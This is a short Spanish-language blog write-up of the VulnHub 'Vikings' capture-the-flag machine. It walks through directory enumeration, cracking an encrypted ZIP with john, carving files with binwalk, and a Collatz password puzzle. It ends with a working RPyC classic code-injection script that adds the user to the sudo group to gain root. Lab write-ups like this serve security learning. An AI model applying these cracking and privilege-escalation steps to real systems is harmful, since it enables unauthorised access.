cd ~/blog

~/writeups/vulnhub/19-vikings.md

19 - Vikings

medium Linux vulnhub 19-10-2023
ZIP cracking (john)binwalk file carvingCollatz puzzle (password recovery)RPyC classic code injection Privesc
www.vulnhub.com/entry/vikings-1,741/

~1 min de lectura


Enumeramos puertos (22, 80 — index of /). Con gobuster encontramos /site y un war.txt:

 gobuster dir -u http://192.168.1.32/site -w directory-list-2.3-medium.txt -x php,txt,html
...
/war.txt              (Status: 200) [Size: 13]
...

war.txt lleva a un ZIP en base64 (cifrado), que crackeamos con john:

 curl http://192.168.1.32/site/war-is-over/ | base64 -d > output
 zip2john output > hash_heaita
 john hash_heaita --wordlist=rockyou.txt

Dentro hay una imagen king de la que extraemos un usuario con binwalk:

 binwalk -e king
...
Zip archive data, ... name: user
...

Obtenemos la primera flag y un archivo boat con un acertijo (conjetura de Collatz desde el 29º primo):

#Printable chars are your ally.
#num = 29th prime-number.
collatz-conjecture(num)

Generando con Python los valores de Collatz < 255 desde 109 (29º primo) y convirtiéndolos a ASCII (CyberChef) obtenemos la contraseña de ragnar. Su .profile revela:

sudo python3 /usr/local/bin/rpyc_classic.py

RPyC classic permite inyección de código remoto. Creamos un script que se aprovecha para añadir a ragnar al grupo sudo:

import rpyc
def shell():
    import os
    os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(shell)
fn()

Tras ejecutarlo, reconectamos como ragnar, hacemos sudo -s y obtenemos root.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados